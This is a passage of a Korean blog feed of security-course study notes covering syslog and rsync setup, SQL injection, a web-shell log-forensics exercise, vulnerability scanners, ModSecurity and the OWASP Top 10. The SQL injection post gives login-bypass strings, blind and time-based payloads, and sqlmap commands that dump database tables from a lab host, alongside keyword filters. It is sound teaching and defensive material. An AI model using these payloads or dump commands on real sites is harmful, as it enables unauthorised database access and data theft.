<ul>
<li>리눅스 # accton /var/account/pacct    ( 기록 통계를 실행 중지 )</li>
<li>유닉스 # /usr/lib/acct/accton /var/adm/pacct</li>
</ul>
</li>
<li><p>로그 서버 만들기</p>
<ul>
<li><p>로그 서버
vi /etc/rsyslog.conf</p>
<p>주석 해제처리
Provides UDP syslog reception</p>
<p>#$ModLoad imudp
#$UDPServerRun 514
$ModLoad imudp
$UDPServerRun 514</p>
<p>service rsyslog restart</p>
<p>netstat -lntup |grep rsys 포트확인</p>
<p>firewall =&gt; 514/udp      방화벽열어주기</p>
<p>logger &quot;메세지&quot;     =&gt;     서버의 /var/log/messages 에 내용 추가 확인
ssh 로 로컬로그인      =&gt;    서버의 /var/log/secure   에 내용 추가 확인</p>
</li>
</ul>
</li>
</ul>
<ul>
<li><p>로그 클라이언트 설정</p>
<ul>
<li><p>vi /etc/rsyslog.conf</p>
<p>원하는정책 설정</p>
</li>
<li><p>.info;mail.none;authpriv.none;cron.none                /var/log/messages    시스템이벤트로그</p>
<p>The authpriv file has restricted access.</p>
<p>authpriv.*                                              /var/log/secure        접속로그</p>
<p>Log all the mail messages in one place.</p>
<p>mail.*                                                  -/var/log/maillog    메일로그</p>
<p>Log cron stuff</p>
<p>cron.*                                                  /var/log/cron        크론로그
authpriv.*</p>
</li>
<li><p>.*                @192.168.10.10:514</p>
</li>
</ul>
</li>
</ul>
<hr>
<ul>
<li><p>rsyslog</p>
<ul>
<li>service rsyslog restart</li>
<li>클라이언트에서 실행<ul>
<li>logger &quot;메세지&quot;     =&gt;     서버의 /var/log/messages 에 내용 추가 확인</li>
<li>ssh 로 로컬로그인      =&gt;    서버의 /var/log/secure   에 내용 추가 확인</li>
</ul>
</li>
</ul>
<hr>
<p>  authpriv.<em>; user.</em>              @192.168.10.10:514        메세지
  security.*;                      @192.168.10.10:514</p>
<ul>
<li><p>메세지 type</p>
<pre>
authpriv  인증요구 메세지          /var/log/secure
cron      스케줄러 메세지                /var/log/crond
daemon    시스템 데몬이 생성한 메세지       /var/log/boot.log
kern      커널이 발생한 메세지        /var/log/messages
lpr      프린트 유형이 프로그램이 발생한 메세지
mail      메일 메세지
mark      syslogd 데몬에 의해 생성된 주기적인 메세지
news      뉴스 프로그램 유형이 발생한 메세지
security  인증 프로그램이 발생한 메세지
syslog      syslog프로그램 메세지
user      사용자 프로그램에 의해 생성된 메세지
uucp      unix to unix copy 시스템이 발생한 메세지
local 0~7 예약 메세지
</li>
<li><p>mark를 제외한 모든 메세지</p>
</li>
</ul>
</li>
</ul>
<br>

<ul>
<li><p>레벨   (메세지 타입 레벨)</p>
<p>  0 비상     emergeny        시스템 사용불가정도의 에러 발생
  1 경보     alert           시스템에 문제 발생
  2 중요     critical        서비스 중단이 필요한 에러
  3 에러     error        에러 발생
  4 경고     warning        특정 오퍼레이션 이 미완료됨
  5 알림     notification    에러는 없지만 상태 변경
  6 정보     information    시스템 오퍼레이션 정보
  7 디버깅    debuging        장애처리
  8 제외     none           제외</p>
</li>
</ul>
<p></pre><br><br></p>
<ul>
<li>로그 기록 방법<ul>
<li>/var/log/messages 로그파일 선택</li>
<li>/dev/console        로그기록을 콘솔에 남김</li>
<li>user1, root, *          로그기록을 사용자나 모든 사용자에게 남김</li>
<li>@IP:포트        로그기록을 특정호스트나 서버에게 남김</li>
</ul>
</li>
</ul>
<h2 id="rsynk">rsynk</h2>
<ul>
<li><p>rsync 리눅스 백업</p>
<ul>
<li>-a 심볼릭, 속성, 퍼미션, 소유권 보존</li>
<li>-v 진행상황</li>
<li>-z 전송시 압축</li>
<li>-u 새로운 파일 덮어쓰지 않음</li>
</ul>
</li>
<li><p>동기화 옵션</p>
<ul>
<li>--delete : 백업 대상에 이전에 백업한 파일이 없을 시 같이 삭제</li>
<li>--progress : 퍼센트 보여줌</li>
</ul>
</li>
<li><p>ver 7일 경우</p>
<blockquote>
<p>yum install rsync  -y
  yum install xinetd -y
  service rsyncd restart
  netstat -lntup |grep rsync
rsync 873/tcp
firewall-cmd</p>
</blockquote>
</li>
<li><p>rsync세팅</p>
<ul>
<li><p>대상자 설정</p>
<ul>
<li><p>xinet에서 rsysc 설정</p>
<ul>
<li><p>vi /etc/rsyncd.conf</p>
<p>  [서버이름]
  path=/  &lt; 백업할 경로지정
  hosts allow= 허용할 IP입력
  hosts deny= 차단 IP입력
  uid=0
  gid=0
  <strong>파일 없을 경우 생성한다</strong></p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<pre><code>        service rsyncd restart

- client에서 받아오기 ==(192.168.10.10에서 진행)
    - rsync -avz --progress 서버IP:/경로 ./      [복사할 위치지정]
    or
    rsync -avz --progress --delete 서버IP:/경로 ./ [복사할 위치지정]</code></pre><ul>
<li><p>1분마다 /var/log를 동기화하는 스크립트(15일이 지난 파일은 삭제)</p>
<ul>
<li><p>mkdir -p /backup/log</p>
</li>
<li><p>vi /backup/log/sevas.sh</p>
<p>  #!/bin/bash</p>
<p>  for i in 192.168.10.10
  do
  mkdir -p /backup/log/log_$i
  date=$(date &quot;+%Y-%m-%d %H시 %M분&quot;)
  echo &quot;&quot; &gt;&gt; /backup/log/log.txt
  echo &quot;&quot; &gt;&gt; /backup/log/log.txt
  echo &quot;### [&quot;$i&quot;] / [&quot;$date&quot;] 백업작업 ###&quot; &gt;&gt; /backup/log/log.txt</p>
<p>  echo &quot;&quot; &gt;&gt; /backup/log/log.txt
  rsync -avz --progress $i:/var/log /backup/log/log_$i &gt;&gt; /backup/log/log.txt
  find /backup/log/log_$i -ctime +15 -exec rm -rf {} ;
  done</p>
</li>
<li><p>ssh키 인증 로그인</p>
<ul>
<li>(접속을 해야 하는 곳에서)
ssh-keygen -t rsa
cd /root/.ssh
scp id_rsa.pub 192.168.1.10:/root/.ssh/authorized_keys<br>chmod 755 sevas.sh</li>
</ul>
</li>
</ul>
</li>
</ul>
<blockquote>
<p>vi /etc/crontab
SHELL=/bin/bash
                PATH=/sbin:/bin:/usr/sbin:/usr/bin
                */1 * * * * root run-parts /backup/log
                or
                */1 * * * * root /backup/log/sevas.sh</p>
</blockquote>
<ul>
<li><p>/etc/rc.d/init.d/crond restart</p>
</li>
<li><p>date 명령</p>
<p>  -d &#39;1 day ago&#39; &lt;====어제
  -d &#39;1 day&#39; &lt;====1일후
  -d &#39;this friday&#39; &lt;===이번금요일
  -d &#39;last monday&#39; &lt;===지난 월요일
  -d &#39;next tuesday&#39; &lt;===다음 화요일</p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Exploit, SQL Injection]]></title>
            <link>https://velog.io/@dpwls_w/exploit</link>
            <guid>https://velog.io/@dpwls_w/exploit</guid>
            <pubDate>Tue, 11 Jun 2024 04:11:45 GMT</pubDate>
            <description><![CDATA[<h1 id="exploit-인젝션">Exploit (인젝션)</h1>
<ul>
<li>exploit: 컴퓨터, 스마트폰 등 전자 기기에 대한 보안 취약점을 이용하여 해커의 의도대로 공격하도록 설계된 명령, 스크립트, 프로그램</li>
<li>공격의 종류 <ul>
<li><a href="https://nordvpn.com/ko/blog/mitm/">중간자 공격</a>(MITM): Man In The Middle, 통신을 하는 와중에 공격자가 중간에 끼어들어 트래픽을 가로채는 것 - <a href="https://nordvpn.com/ko/blog/dns-spoofing-attack/">DNS 스푸핑</a></li>
<li><a href="https://nordvpn.com/ko/blog/zero-day-attack/">제로데이 공격</a>(Zero Day Attack): 소프트웨어의 아직 알려지지 않은 취약점, 심지어 제조사도 아직 알지 못하는 취약점을 공격, 아직 해당 보안 취약점에 대한 패치가 이루어지지 않은 상태에서 해커에게 거의 무방비로 당하는 형태의 공격</li>
<li><a href="https://nordvpn.com/ko/blog/what-is-ddos-attack/">DDoS</a>: 해커가 디바이스의 제어권을 얻은 뒤 봇넷으로 이용, 특정 서버에 끝없이 액세스를 해서 서버 과부하 유발 - <a href="https://nordvpn.com/ko/blog/trojan-horse-virus/">트로이 목마</a>(Trojan) 악성코드로 인해서 DDoS 감염이 될 수 있음</li>
<li><a href="https://nordvpn.com/ko/blog/stopping-ransomware/">랜섬웨어</a>(Ransomware): 멀웨어의 한 종류로, 피해자의 파일 등을 암호화 한 다음 금전을 요구. 랜섬 웨어에 감염이 되면 ‘암호화를 해제하고 싶다면 비트코인으로 결제를 하라’ 등의 메시지가 뜸.</li>
<li>브라우저 익스플로잇(Browser Exploit): 브라우저의 보안 취약점을 이용해서 틈타는 공격. ActiveX 등의 스크립트를 통해서 사용자가 다운로드 받게 만들고, 브라우저를 마음대로 조종</li>
<li>SQL Injection: 주로 웹에서 일어나는 익스플로잇 공격으로, 데이터베이스의 헛점을 이용하여 예상치 못한 값을 입력. 임의의 SQL 쿼리를 실행하여 데이터베이스를 조작</li>
<li>키 로깅(Key logging): 사용자가 키보드로 입력하는 정보를 감시, 훔쳐가는 공격 수법. 키보드에 입력된 정보는 운영체제에서 처리가 되는데, 그 때 정보를 빼내서 파일로 저장한 다음 해킹 서버로 보냄. - 아이디, 비밀번호 등의 기밀 정보가 유출되기 쉬움</li>
</ul>
</li>
</ul>
<h2 id="sql-injection">SQL Injection</h2>
<ul>
<li>sql 구문을 중간에 끼워 넣음</li>
<li>종류</li>
</ul>
<ol>
<li>Non-Blind SQL Injection : 결과 확인 가능<ul>
<li>Query result SQL: 쿼리 결과 SQL</li>
<li>Error Base SQL: 오류 발생 유도를 이용한 SQL</li>
</ul>
</li>
<li>Blind SQL Injection : 결과 확인 불가능, 유추 해야 함 → 주로 자동화 공격<ul>
<li>Boolean SQL: 참과 거짓을 통해 데이터 확인</li>
<li>time base SQL: 시간 차 공격(sleep).. 활용해서 참일 경우 딜레이</li>
</ul>
</li>
</ol>
<p><img src="https://velog.velcdn.com/images/dpwls_w/post/2e7951ef-9d9e-41d8-b0b7-2adeaa074c49/image.png" alt=""></p>
<h3 id="non-blind-sql-injection">Non-Blind SQL Injection</h3>
<ul>
<li><p>예제 1</p>
<ul>
<li><p>로그인
ID, PW에 &#39;or&#39; 1=1 으로 하면 가능</p>
<p>  select id,pw from class where id=&#39;$id&#39; and pw=&#39;$pw&#39;;
   select id,pw from class where id=&#39; &#39;or&#39; 1=1&#39; and pw=&#39; &#39;or&#39; 1=1&#39;;</p>
<ul>
<li>1은 참이기에 or를 통해 참거짓만 판단하여 맨 처음에 나오는 계정으로 로그인이 되어버림</li>
</ul>
</li>
</ul>
</li>
<li><p>보안 방법</p>
<ol>
<li><code>&#39;</code> 를 막음</li>
<li>db에 보통 로그인이 되지않거나 되어도 상관없는 계정값을 맨처음에 넣어놓음</li>
</ol>
</li>
<li><p><a href="https://velog.io/@dpwls_w/%EC%9B%B9-%EC%82%AC%EC%9D%B4%ED%8A%B8-%ED%95%B4%ED%82%B9-%EB%AA%A8%EC%9D%98%EC%8B%A4%EC%8A%B5-2-DB">https://velog.io/@dpwls_w/웹-사이트-해킹-모의실습-2-DB</a></p>
</li>
</ul>
<ul>
<li><p>%27 : &#39;
%20 : 공백</p>
</li>
<li><p>Mssql 데이터베이스</p>
<ul>
<li><p>INFORMATION_SCHEMA.TABLES</p>
<p>  INFORMATION_SCHEMA.COLUMNS</p>
<p>  SYS.OBJECTS</p>
<p>  SYS.COLUMNS</p>
</li>
</ul>
</li>
<li><p>Oracle 데이터베이스</p>
<ul>
<li>ALL_TABLES
USER_TABLES ( TABS )
ALL_TAB_COLUMNS
USER_TAB_COLUMNS ( COLS )</li>
</ul>
</li>
<li><p>Mysql 데이터베이스</p>
<ul>
<li><p>INFORMATION_SCHEMA.TABLES</p>
<p>  INFORMATION_SCHEMA.COLUMNS</p>
</li>
</ul>
</li>
</ul>
<h3 id="blind-sql-injection">Blind SQL Injection</h3>
<ol>
<li><p>참 거짓으로 구별 ( boolean-base blind SQL)</p>
<ul>
<li><p>select substring ( 글자,위치,길이)</p>
<p>  select substring(&#39;sevas sivas&#39;,1);  첫번째 글자부터
  select substring(&#39;sevas sivas&#39;,2,3); 두번째 글자부터 3글자</p>
<ul>
<li><p>아스키코드로 크기 비교</p>
<ul>
<li><p>아스키코드 주의할 점
숫자는  0x30 에서부터 시작
문자는  0x41  대문자</p>
<pre><code>       0x61  소문자</code></pre><ul>
<li><p>아스키코드로 찾기   (0x41 = A =65  0, x61= a = 97)
[문자]
select substring((select id from class limit 0,1),1,1);
[10진수]
select ascii(substring((select id from class limit 0,1),1,1));
[16진수]
select hex(ascii(substring((select id from class limit 0,1),1,1)));</p>
<ul>
<li><p>a     d     m    i    n</p>
<p>  [첫번째문자]   =  a
  select hex(ascii(substring((select id from class limit 0,1),1,1))) = &#39;65&#39;;
  select hex(ascii(substring((select id from class limit 0,1),1,1))) = &#39;61&#39;;</p>
<p>  [다섯번째문자]
  select hex(ascii(substring((select id from class limit 0,1),5,1))) &lt;= &#39;6d&#39;;   0
  select hex(ascii(substring((select id from class limit 0,1),5,1))) &lt;= &#39;6e&#39;;   1
  select unhex(&#39;69&#39;);</p>
</li>
</ul>
</li>
<li><p>반대로 16진수를 문자로 바꿀때 : unhex</p>
</li>
<li><p>로그인 실습</p>
<p>  웹페이지에 넣어본다 (로그인창) (database = sevas )
  [16진수]
  &#39; or hex(ascii(substring(database(),1,1))) =73#</p>
<p>  [10진수]
  &#39; or ascii(substring(database(),1,1))=115#</p>
<p>  #은 주석 (--)</p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><p>Time-base Blind injection</p>
<ul>
<li>참/거짓 응답 확인이 어려울 때 확인하는 기법</li>
<li>직접 들어가지 않더라도 확인할 수 있음.<ul>
<li>select 1 and sleep(3);    3초 지연
select 0 and sleep(3);    지연X</li>
<li>select hex(substring(database(),1,1))= 73 and sleep(5);  지연
select hex(substring(database(),1,1))= 74 and sleep(5);  지연X
select unhex(&#39;73&#39;);</li>
<li>&#39; or hex(substring(database(),1,1))= 73 and sleep(5)#
ID: &#39; or hex(substring(database(),1,1))= 73 and sleep(5)#  지연
PW: 아무거나
ID:&#39; or hex(substring(database(),1,1))= 74 and sleep(5)#  지연X
PW: 아무거나</li>
</ul>
</li>
</ul>
</li>
</ol>
<ul>
<li><p>sqlmap tool</p>
<ul>
<li>[-u URL] : 공격을 수행할 페이지 주소 지정 ****</li>
<li>[--cookie=COOKIE] : 쿠키 값 지정</li>
<li>[--data DATA] : POST 방식으로 데이터가 전달될 때, 해당 데이터를 지정</li>
<li>[-p TESTPARAMETER] : 공격을 수행할 파라미터를 지정 ****</li>
<li>[-v VERBOSE] : 명령어 수행을 얼마나 상세하게 출력할 것 인지를 지정 (0~6)</li>
<li>[--passwords] : 사용자들의 패스워드 해시값을 출력</li>
<li>[--tables] : 데이터베이스의 테이블들을 출력 *****</li>
<li>[--columns] : 데이터베이스 테이블의 컬럼들을 출력 *****</li>
<li>[--dump] : 데이터베이스 테이블 엔트리를 덤프 *****</li>
<li>[--dbs] : 데이터베이스 리스트 출력 *****</li>
<li>[-D DB] : 특정 데이터베이스 지정 *****</li>
<li>[-T TBL] : 특정 테이블 지정 *****</li>
<li>[-C COL] : 특정 컬럼 지정 *****</li>
</ul>
</li>
<li><p>tool 예시</p>
<ul>
<li><p>db 정보 수집 <code>sqlmap -u &quot;http://192.168.10.100/board_view.php?b_no=0&quot; -p &quot;b_no&quot;</code></p>
</li>
<li><p>db 확인 <code>sqlmap -u &quot;http://192.168.10.100/board_view.php?b_no=0&quot; -p &quot;b_no&quot; -dbs</code></p>
</li>
<li><p>table 확인 <code>sqlmap -u &quot;http://192.168.10.100/board_view.php?b_no=0&quot; -p &quot;b_no&quot; -D sevas --tables</code></p>
</li>
<li><p>column 확인 <code>sqlmap -u &quot;http://192.168.10.100/board_view.php?b_no=0&quot; -p &quot;b_no&quot; -D sevas -T  class --column</code></p>
</li>
<li><p>값 확인 <code>sqlmap -u &quot;http://192.168.10.100/board_view.php?b_no=0&quot; -p &quot;b_no&quot; -D sevas -T  class --dump</code></p>
<p>위치: /root/.local/share/sqlmap/output/192.168.10.10</p>
<p><img src="https://velog.velcdn.com/images/dpwls_w/post/27df1caf-42ad-43f3-9d39-6db6bc7baacd/image.png" alt=""></p>
</li>
</ul>
</li>
</ul>
<h2 id="sql-injection-방어">SQL Injection 방어</h2>
<ol>
<li><p>특수문자들은 공백으로 만들어서 사용하지 못하도록 코드수정</p>
<ol>
<li><p>&#39; , &quot; , \ , null 등을 자동 백슬레시로 이스케이프 하는등 문자열 필터링
(&#39; &quot; ) 앞에 \를 하여 일반 문자로 바꿔줌</p>
<ul>
<li><p>php 코드 보안</p>
<p>  board_view.php</p>
<pre><code class="language-jsx">  $b_no=$_GET[&#39;b_no&#39;]; 아래
  if(preg_match(&#39;/(union|select|from|where)/i&#39;, $b_no))
  {
  echo &quot;No SQL-Injection!!!!&lt;br&gt;&quot;;
  exit;
  }

  proc/login_proc.php

  $id=$_POST[&#39;id&#39;];
  $pw=$_POST[&#39;pw&#39;];   아래

  $id = preg_replace(&quot;/[\r\n\s\t\&#39;\;\&quot;\=\-\-\#\/*]+/&quot;,&quot;&quot;, $id);
  $pw = preg_replace(&quot;/[\r\n\s\t\&#39;\;\&quot;\=\-\-\#\/*]+/&quot;,&quot;&quot;, $pw);
  if(preg_match(&#39;/(union|select|from|where)/i&#39;, $id))
  {
  echo &quot;No SQL-Injection!!!!&lt;br&gt;&quot;;
  exit;
  }</code></pre>
</li>
</ul>
</li>
</ol>
</li>
<li><p>union,select 와 같은 SQL 구문을 검사하는 코드를 제작하여 검색 시에 에러 페이지를 출력 시키도록 한다.</p>
</li>
</ol>
<ul>
<li><p>upload보안</p>
<ol>
<li>php나 asp나 html등 web확장자 파일 차단.</li>
<li>특수 문자나 웹스크립트 언어 부분을 치환하거나 막는다. ( 백신,디펜더 )</li>
</ol>
</li>
<li><p>download보안</p>
<ol>
<li>기존의 DB내용에 있는 파일인지 점검</li>
<li>../../../ 와 같은 경로문자를 빈칸으로 치환</li>
</ol>
</li>
</ul>
<h3 id="참고-사이트">참고 사이트</h3>
<p><a href="https://nordvpn.com/ko/blog/exploit/">https://nordvpn.com/ko/blog/exploit/</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[로그 분석 실습]]></title>
            <link>https://velog.io/@dpwls_w/%EB%A1%9C%EA%B7%B8-%EB%B6%84%EC%84%9D</link>
            <guid>https://velog.io/@dpwls_w/%EB%A1%9C%EA%B7%B8-%EB%B6%84%EC%84%9D</guid>
            <pubDate>Mon, 10 Jun 2024 07:00:41 GMT</pubDate>
            <description><![CDATA[<h1 id="전제">전제</h1>
<p>웹페이지 소스코드를 모두 공개할 것이며, 추가적인 위협을 가하겠다는 내용을 받았다. 침해된 시스템에 남겨진 흔적과 각종 로그 파일을 분석하여 다음 사항을 밝혀내시오. </p>
<p>A. 공격자가 웹페이지 소스코드를 유출한 시간(UTC+09:00)은?(yyyy-MM-dd_hh:mm:ss) 
B. 리버스쉘(Reverse Shell)을 동작시키는 프로세스 ID(PID)는? (10진수) 
C. 리버스쉘(Reverse Shell)에 대한 공격자 주소(IP)는?</p>
<h2 id="과정">과정</h2>
<ul>
<li>웹페이지 -&gt; 웹과 관련된 사용 -&gt; 업/다운 주의기울이기</li>
<li>passwd
<img src="https://velog.velcdn.com/images/dpwls_w/post/c7673a43-8ee9-4835-9ba0-3a7ffd2d245f/image.png" alt="">
시스템 계정이 아닌 일반 계정 추려내기 (admin01/dev/ahnlab)</li>
</ul>
<ul>
<li><p>lastlog
<img src="https://velog.velcdn.com/images/dpwls_w/post/a486f7b2-d02a-41d5-8f03-ea0dbd1c5df3/image.png" alt="">
로그인 기록 확인, 연결 터미널 확인 - 외부 연결 : dev, ahnlab</p>
</li>
<li><p>netstat
<img src="https://velog.velcdn.com/images/dpwls_w/post/10f4e754-8369-4db2-bd73-4f1876231dbd/image.png" alt="">192.168.184.162 IP가 접속한 기록 -&gt;22(SSH), 80(HTTP)</p>
</li>
</ul>
<ul>
<li>ps_eaf
<img src="https://velog.velcdn.com/images/dpwls_w/post/9c39065e-c635-4f32-8bff-23f274d2d2de/image.png" alt="">ppid와 pid 잘 살피기
/upload/editor/image/reverse.php가 업로드 된 것을 확인</li>
</ul>
<ul>
<li>access_log
<img src="https://velog.velcdn.com/images/dpwls_w/post/31b5e20d-5712-4b14-89d6-cdace198c7d1/image.png" alt="">
/upload/editor/image/ 로 검색하여 업로드된 내역들 확인(GET명령어)
공격자 112.216.97.29
PID  5244  sh -c php -f /var/www/upload/editor/image/reverse.php</li>
</ul>
<ul>
<li>base64 디코더(<a href="https://www.base64decode.org/">https://www.base64decode.org/</a>)
<img src="https://velog.velcdn.com/images/dpwls_w/post/01574066-cce7-4634-9c2e-f5df4eabf7a6/image.png" alt=""></li>
</ul>
<ul>
<li><p>112.216.97.29       dGFyIC1jdmYgL3Zhci93d3cvdXBsb2FkL2VkaXRvci9pbWFnZS8xMzMwNjY0ODM4IC92YXIvd3d3Lw</p>
<pre><code>      tar -cvf /var/www/upload/editor/image/1330664838 /var/www/</code></pre></li>
<li><p>112.216.97.29       bHMgLWFsICAvdmFyL3d3dy91cGxvYWQvZWRpdG9yL2ltYWdlLw</p>
<pre><code>      ls -al  /var/www/upload/editor/image/</code></pre></li>
<li><p>112.216.97.27 - - [25/Aug/2012:17:18:32 +0900] &quot;GET /upload/editor/image/cmd.php HTTP/1.1&quot; 294 311 &quot;Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;</p>
</li>
<li><p>112.216.97.29 - - [25/Aug/2012:17:18:51 +0900] &quot;GET /upload/editor/image/cmd.php?cmd=cHdk HTTP/1.1&quot; 200 323 &quot;Mozilla/4.0 (compatible; </p>
</li>
</ul>
<h2 id="결론">결론</h2>
<p>PC IP: 192.168.184.162
소스코드: reverse.php
유출 시간: [25/Aug/2012:17:26:26:40 +0900]
공격자: 112.216.97.29
PID: 5244  /upload/editor/image/reverse.php</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[웹취약점 스캐닝, WAF]]></title>
            <link>https://velog.io/@dpwls_w/%EC%9B%B9%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%8A%A4%EC%BA%90%EB%8B%9D-WAF</link>
            <guid>https://velog.io/@dpwls_w/%EC%9B%B9%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%8A%A4%EC%BA%90%EB%8B%9D-WAF</guid>
            <pubDate>Mon, 10 Jun 2024 00:33:43 GMT</pubDate>
            <description><![CDATA[<h1 id="웹취약점-스캐닝">웹취약점 스캐닝</h1>
<h2 id="nikto">nikto</h2>
<p>nikto -h 192.168.10.10 -C all -o sevas.html -F html</p>
<p>-C 검사범위
-o 파일이름
-F 파일포멧
-h 호스트</p>
<h2 id="openvas">openvas</h2>
<p>openvas   설치 (웹취약점 스캐닝)</p>
<p>apt-get dist-upgrade -y
apt-get update
apt-get install openvas -y</p>
<p>gvm-setup
gvm-check-setup
gvm-feed-update
gvmd --user=admin --new-password=asd123
gvm-start
gvm-stop</p>
<h2 id="nessus">nessus</h2>
<p><em>칼리에서 진행</em></p>
<p><a href="https://www.tenable.com/downloads/nessus?loginAttempted=truehttps://www.tenable.com/products/nessus/nessus-essentials">https://www.tenable.com/downloads/nessus?loginAttempted=truehttps://www.tenable.com/products/nessus/nessus-essentials</a></p>
<p>메일주소 넣고  get start  버튼 클릭 → 메일에서 activation code 를 받고 메모장에 저장</p>
<p>download Nessus</p>
<p>nessus  [view download] 선택</p>
<p>Nessus-10.7.3-debian10_amd64.deb 다운로드
Debian 9, 10 / Kali Linux 1, 2017.3, 2018, 2019, 2020 AMD64</p>
<p>download by curl -&gt; 코드 복사 후 칼리에 붙여넣기</p>
<blockquote>
<p>칼리 일경우에는 Nessus- amd64.deb
centos 일경우 .rpm 으로 설치 </p>
</blockquote>
<p>cd /root/다운로드
ls -l
Nessus-8.15.1-debian6_amd64.deb</p>
<p>dpkg -i Nessus-8.15.1-debian6_amd64.deb</p>
<p>service nessusd restart</p>
<p>netstat -lntup |grep nessusd</p>
<p><a href="https://127.0.0.1:8834/">https://127.0.0.1:8834</a></p>
<p>Register nessus essentials 선택후  continue =&gt; skip =&gt; 받은 ativation code 입력</p>
<p>설치가 다되면 target
192.168.10.0/24   설정</p>
<h1 id="waf-web-application-firewall-">WAF (Web application firewall )</h1>
<ul>
<li><p>패키지 설치 <code>yum install mod_security*</code></p>
</li>
<li><p>패키지 파일 확인
<code>rpm -ql mod_security</code>
<code>rpm -ql mod_security_crs</code></p>
</li>
<li><p>패키지 구성</p>
<ul>
<li>Mod_security : 모듈시큐리티
Mod_security_crs : 기본 owasp 룰셋 (무료용)</li>
</ul>
</li>
<li><p>설정 - 웹 시그니처 변경</p>
<ul>
<li><p>vi /etc/httpd/conf.d/mod_security.conf</p>
<pre><code>  SecServerSignature &quot;Microsoft-IIs/5.0&quot;
  SecRuleEngine On   &lt;==== waf 룰 적용 / off 로 하면 ip로 접속 가능

  # SecResponseBodyAccess Off
  SecResponseBodyAccess On   &lt;&lt;&lt; respons 접근

</code></pre></li>
</ul>
</li>
</ul>
<pre><code>→ 페이지 접근 시도 시 Forbbiden이 뜸

- 기본적으로 도메인이 아닌 IP로 접근 되는것을 전부 막아버림
실습을 위해서 이부분만 주석처리
- UTF-8 설정을 위한 인코딩 룰셋 제거 (임시방편)
    - SecRuleRemoveByid 960024 →  추가 후 데몬 재실행</code></pre><ul>
<li>보호 기록 확인:  <code>vi /var/log/httpd/modsec_audit.log</code>  / <code>error_log</code> → 공격 내역<ul>
<li>프로그램에서 나오는 로그 = audit
  <img src="https://velog.velcdn.com/images/dpwls_w/post/c5548fb7-65cf-40eb-ae9e-2839f905f3ff/image.png" alt=""></li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[OWASP]]></title>
            <link>https://velog.io/@dpwls_w/OWASP</link>
            <guid>https://velog.io/@dpwls_w/OWASP</guid>
            <pubDate>Fri, 07 Jun 2024 06:24:49 GMT</pubDate>
            <description><![CDATA[<h1 id="owasp-the-open-web-application-security-project">OWASP (The Open Web Application Security Project)</h1>
<ul>
<li><p>CVE (Common Vulnerabilities and Exposures)</p>
<ul>
<li>알려져 있는 보안 취약점 - 년도 별로 일련번호 리스트화</li>
</ul>
</li>
<li><p>CWE(Common Weakness Enumeration)</p>
<ul>
<li>알려져 있는 소프트웨어 보안 약점 표준화 정보</li>
</ul>
</li>
<li><p>CCE(Common Configuration Enumeration)</p>
<ul>
<li>알려져 있는 시스템 설정 취약점 리스트</li>
</ul>
</li>
<li><p>OWASP(The Open Web Application Security Project)</p>
<ul>
<li>오픈소스 웹 애플리케이션 보안 프로젝트로서 웹에 대한 위험성을 10대 웹 애플리케이션의 취약점 (OWASP TOP 10)으로 하여 3~4년마다 국제적으로 발표</li>
</ul>
</li>
</ul>
<h2 id="2021">2021</h2>
<ul>
<li>A01 : Broken Access Control (접근 권한 취약점)  - 접근 권한 미설정<pre><code>          - 루트킷이나 백도어, 관리자 권한이나 자동 실행과 같은 취약점이 노출되면서 이를 공격자가 이용, 악의적인 행위를 함
          - 대책 :  사용자가 권한을 벗어나 행동할 수 없도록 정책을 시행 (추가되는 관리자 권한 확인 ,권한 제한 )</code></pre></li>
<li>A02 : Cryptographic Failures (암호화 오류) - 평문 데이터 노출<pre><code>          - Sensitive Data Exposure(민감 데이터 노출)의 명칭이 2021년 Cryptographic Failures(암호화 오류)로 변경
          적절한 암호화가 이루어지지 않으면 민감 데이터가 노출
          - 대책 : 암호화 , 문서 보안</code></pre></li>
<li>A03: Injection (인젝션)<pre><code>          - sql injection → sql 쿼리문이 url 이나 인자 값에 전달이 되면서 정보를 획득
          - 대책 : sql 문의 UNION, JOIN , SELECT 등 악의적인 행위를 할수 있는 코드를 replace해서 공백으로 바꾸는 등 시큐어 코딩 진행 , 시그니처 필터</code></pre></li>
<li>A04: Insecure Design (안전하지 않은 설계)<pre><code>          - 웹 방화벽 부재 , 가용성 부족, 자원 집중, https가 아닌 http 운영 등 누락되거나 비효율적인  제어 설계로 표현되는 다양한 취약점
          - 대안 : 웹 방화벽 설치 , 라운드 로빈과 같은 부하 분산 이중화 , 자원의 분산화 , https 암호화 통신</code></pre></li>
<li>A05: Security Misconfiguration (보안 설정 오류)<pre><code>          - 불필요한 기능이 활성화 혹은 설치, 기본 계정 및 암호화가 변경되지 않았을 때, 지나치게 상세한 오류 메세지를 노출할 때, 최신 보안 기능이 비활성화 혹은 안전하지 않게 구성되었을 때 발생
          - 대안 : directoryindex 보안 설정 , 서버 시그니처 제한 , 웹페이지 출력 제한 , (DNAT) 포트 변환</code></pre></li>
<li>A06: Vulnerable and Outdated Components (취약하고 오래된 요소)<pre><code>          - 취약하고 오래된 요소는 지원이 종료되었거나 오래된 버전을 사용할 때 발생 → 애플리케이션 뿐만 아니라, DBMS, API 및 모든 구성요소들 포함
          - 대안: 프로그램 최신화 , 업데이트</code></pre></li>
<li>A07: Identification and Authentication Failures (식별 및 인증 오류)<pre><code>          - Broken Authentication(취약한 인증)으로 알려졌던 해당 취약점은 identification failures(식별 실패)까지 포함하여 더 넓은 범위를 포함할 수 있도록 변경
          사용자의 신원 확인, 인증 및 세션관리가 적절히 되지 않을 때 취약점 발생
          - 대안 : 세션 파기 , 재사용 금지 , 자동 세션 종료 , 비밀번호 확인 절차 추가 (비밀번호 확인 , OTP , recaptcha  등등)</code></pre></li>
<li>A08: Software and Data Integrity Failures(소프트웨어 및 데이터 무결성 오류)<pre><code>          - 2021년 새로 등장한 카테고리 - 무결성을 확인하지 않고 소프트웨어 업데이트, 중요 데이터 및 CI/CD 파이프 라인과 관련된 가정을 하는데 중점
          - 대안 : 무결성 점검 프로세스 구현 , 직원 보안 교육 (체크섬 확인)  , 검증되지 않은 프로그램 다운로드X</code></pre></li>
